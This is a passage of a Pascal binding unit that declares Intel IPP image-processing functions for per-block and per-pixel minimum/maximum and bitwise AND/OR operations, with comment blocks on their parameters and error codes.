function ippiMinMax_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp32f_3 ; var max : Ipp32f_3 ): IppStatus; _ippapi
function ippiMinMax_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; roiSize : IppiSize ; var min : Ipp32f_4 ; var max : Ipp32f_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiBlockMinMax_32f_C1R, ippiBlockMinMax_16s_C1R,
ippiBlockMinMax_16u_C1R, ippiBlockMinMax_8u_C1R .
Purpose: Finds minimum and maximum values for blocks of the source image.
Parameters:
pSrc Pointer to the source image ROI.
srcStep Distance, in bytes, between the starting points of consecutive lines in the source image.
srcSize Size, in pixels, of the source image.
pDstMin Pointer to the destination image to store minimum values per block.
dstMinStep Distance, in bytes, between the starting points of consecutive lines in the pDstMin image.
pDstMax Pointer to the destination image to store maximum values per block.
dstMaxStep Distance, in bytes, between the starting points of consecutive lines in the pDstMax image.
blockSize Size, in pixels, of the block.
pDstGlobalMin The destination pointer to store minimum value for the entire source image.
pDstGlobalMax The destination pointer to store maximum value for the entire source image.
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsStepErr - Error when :
srcStep is less than srcSize.width * sizeof( *pSrc).
dstMinStep, or dstMaxStep is less than dstSize.width * sizeof( *pDst).
ippStsSizeErr - Error when srcSize or blockSize has a zero or negative value.
}
function ippiBlockMinMax_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; srcSize : IppiSize ; pDstMin : Ipp32fPtr ; dstMinStep : Int32 ; pDstMax : Ipp32fPtr ; dstMaxStep : Int32 ; blockSize : IppiSize ; pDstGlobalMin : Ipp32fPtr ; pDstGlobalMax : Ipp32fPtr ): IppStatus; _ippapi
function ippiBlockMinMax_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; srcSize : IppiSize ; pDstMin : Ipp16sPtr ; dstMinStep : Int32 ; pDstMax : Ipp16sPtr ; dstMaxStep : Int32 ; blockSize : IppiSize ; pDstGlobalMin : Ipp16sPtr ; pDstGlobalMax : Ipp16sPtr ): IppStatus; _ippapi
function ippiBlockMinMax_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; srcSize : IppiSize ; pDstMin : Ipp16uPtr ; dstMinStep : Int32 ; pDstMax : Ipp16uPtr ; dstMaxStep : Int32 ; blockSize : IppiSize ; pDstGlobalMin : Ipp16uPtr ; pDstGlobalMax : Ipp16uPtr ): IppStatus; _ippapi
function ippiBlockMinMax_8u_C1R ( pSrc : Ipp8uPtr ; srcStep : Int32 ; srcSize : IppiSize ; pDstMin : Ipp8uPtr ; dstMinStep : Int32 ; pDstMax : Ipp8uPtr ; dstMaxStep : Int32 ; blockSize : IppiSize ; pDstGlobalMin : Ipp8uPtr ; pDstGlobalMax : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiMinEvery, ippiMaxEvery
Purpose: calculation min/max value for every element of two images
Parameters:
pSrc pointer to input image
pSrcDst pointer to input/output image
srcStep Step in bytes through the source image
roiSize Size of the source image ROI.
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsNoErr otherwise
}
function ippiMaxEvery_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16s_C1IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16s_C1IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_32f_C1IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16s_C3IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16s_C3IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_32f_C3IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16s_C4IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16s_C4IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_32f_C4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16s_AC4IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16s_AC4IR( pSrc : Ipp16sPtr ; srcStep : Int32 ; pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_32f_AC4IR( pSrc : Ipp32fPtr ; srcStep : Int32 ; pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMinEvery_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMaxEvery_32f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Logical Operations and Shift Functions
---------------------------------------------------------------------------- }
{
Names: ippiAnd, ippiAndC, ippiOr, ippiOrC, ippiXor, ippiXorC, ippiNot,
Purpose: Performs corresponding bitwise logical operation between pixels of two image
(AndC/OrC/XorC - between pixel of the source image and a constant)
Names: ippiLShiftC, ippiRShiftC
Purpose: Shifts bits in each pixel value to the left and right
Parameters:
value 1) The constant value to be ANDed/ORed/XORed with each pixel of the source,
constant vector for multi-channel images;
2) The number of bits to shift, constant vector for multi-channel images.
pSrc Pointer to the source image
srcStep Step through the source image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
pSrc1 Pointer to first source image
src1Step Step through first source image
pSrc2 Pointer to second source image
src2Step Step through second source image
pDst Pointer to the destination image
dstStep Step in destination image
roiSize Size of the ROI
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsStepErr One of the step values is less than or equal to zero
ippStsSizeErr roiSize has a field with zero or negative value
ippStsShiftErr Shift`s value is less than zero
ippStsNoErr No errors
}
function ippiAnd_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_C1IR( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_C3IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_C4IR(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_8u_AC4IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_C1IR( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_C3IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_C4IR(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_16u_AC4IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_C1R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_C3R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_C4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_AC4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_C1IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_C3IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_C4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAnd_32s_AC4IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_C1R( pSrc : Ipp32sPtr ; srcStep : Int32 ; value : Ipp32s ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_C3R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_C4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_4 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_AC4R( pSrc : Ipp32sPtr ; srcStep : Int32 ; const value : Ipp32s_3 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_C1IR( value : Ipp32s ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_C3IR(const value : Ipp32s_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_C4IR(const value : Ipp32s_4 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiAndC_32s_AC4IR(const value : Ipp32s_3 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_C1IR( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_C3IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_C4IR(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_8u_AC4IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_C1IR( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_C3IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_C4IR(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOrC_16u_AC4IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_C1R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_C3R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_C4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_AC4R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; pDst : Ipp32sPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiOr_32s_C1IR( pSrc : Ipp32sPtr ; srcStep : Int32 ; pSrcDst : Ipp32sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
